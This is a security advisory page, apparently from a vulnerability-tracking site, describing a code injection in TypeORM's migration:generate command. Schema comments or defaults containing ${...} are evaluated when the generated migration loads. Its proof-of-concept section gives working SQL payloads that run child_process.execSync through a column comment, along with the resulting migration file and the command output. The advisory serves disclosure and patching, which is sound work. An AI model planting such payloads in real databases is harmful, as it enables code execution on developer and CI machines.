TypeORM: migration:generate template-literal code injection
Summary
typeorm migration:generate embeds database schema metadata into JS/TS template literals, escaping backticks but not ${...}. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.
Details
MigrationGenerateCommand.ts (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:
" await queryRunner.query(`" +
upQuery.query.replaceAll("`", "\\`") +
"`" + ...
Introspected schema strings reach this sink through driver query runners:
| Driver | Metadata source | Source |
|---|---|---|
| Postgres | column DEFAULT, COMMENT, CHECK constraints, view definitions |
PostgresQueryRunner.ts:1782, L1898, L2287, L4125 |
| MySQL/MariaDB | COLUMN_DEFAULT, COLUMN_COMMENT |
MysqlQueryRunner.ts:2873-2974, L3580-3583 |
| CockroachDB | Same patterns as Postgres | CockroachQueryRunner.ts |
escapeComment() on each driver strips only null bytes, leaving ${...} intact:
protected escapeComment(comment?: string) {
if (!comment) return comment
comment = comment.replaceAll("\u0000", "")
return comment
}
When the migration file is loaded (migration:run, import, or require), the JS engine evaluates ${...} as live interpolation.
Affected source:
| File | Lines | Role |
|---|---|---|
MigrationGenerateCommand.ts |
117-138 | Template-literal construction (sink) |
PostgresDriver.ts |
1886-1891 | escapeComment() — Postgres |
MysqlDriver.ts |
1322-1328 | escapeComment() — MySQL |
CockroachDriver.ts |
1236-1241 | escapeComment() — CockroachDB |
Confirmed injection vectors (MySQL):
| Vector | Result | Notes |
|---|---|---|
Column COMMENT |
Confirmed | Proven in PoC below |
Column DEFAULT |
Confirmed | Attacker sets ALTER TABLE ... DEFAULT '${...}'; payload appears in generated migration |
CHECK constraint |
Not exploitable | MySQL information_schema.CHECK_CONSTRAINTS strips content from CHECK_CLAUSE |
| View definitions | Not tested | Requires PostgreSQL ViewEntity introspection; likely exploitable via pg_get_viewdef() |
Suggested fix: Escape ${ to \${ (and \\ to \\\\) before embedding query strings into template literals, or switch to emitting the SQL as a JSON.stringify()-encoded regular string argument.
PoC
Prerequisites:
- Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running
migration:generate - The attacker has DDL/write access to the database, or the application exposes a feature allowing users to set column
COMMENT,DEFAULT, or view definition text
Steps:
- Inject payload into schema metadata. Set a column comment or default containing
${...}:
-- PostgreSQL
COMMENT ON COLUMN users.name IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
-- MySQL
ALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
- Run migration generation on the developer/CI machine:
npx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration
- Inspect the generated file. The output
.tsfile contains unescaped${...}:
export class NextMigration1234567890 implements MigrationInterface {
public async up(queryRunner: QueryRunner): Promise<void> {
await queryRunner.query(
`COMMENT ON COLUMN "users"."name" IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}'`,
);
}
// ...
}
- Run or revert the migration:
npx typeorm migration:revert -d ./data-source.ts
Output confirms code execution — id ran on the host and its output was interpolated into the SQL:
ALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'
The payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in down(). Attacker-influenced entity metadata places it in up(). Either direction executes the code when the method runs.
Impact
Code injection / RCE. An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.
CI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running migration:generate against a database with attacker-influenced schema metadata is affected.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | typeorm | < 0.3.31, >= 1.0.0, < 1.1.0 | 0.3.31, 1.1.0 |
References
- https://github.com/typeorm/typeorm/security/advisories/GHSA-2rp8-mm9q-fp49
- https://github.com/typeorm/typeorm/commit/41d1c62fe49f99c3ca916d4d986f61ee9f45d519
- https://github.com/typeorm/typeorm/commit/b175f9b8be422edd2a2ac035ba90c3f2ce782dfe
- https://github.com/typeorm/typeorm
- https://github.com/typeorm/typeorm/releases/tag/0.3.31
- https://github.com/typeorm/typeorm/releases/tag/1.1.0
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N- Weakness (CWE)
CWE-94- Platform
- npm
- Package
typeorm- Disclosed
- 21.07.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-2rp8-mm9q-fp49 - CC BY 4.0
Vulnerability history: typeorm
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 6
- First → latest
- 06.2019 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 3
- High 1
- Medium 2
Disclosures per year
- 2019: 1
- 2020: 0
- 2021: 1
- 2022: 1
- 2023: 0
- 2024: 0
- 2025: 1
- 2026: 2
-
TypeORM: migration:generate template-literal code injection this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.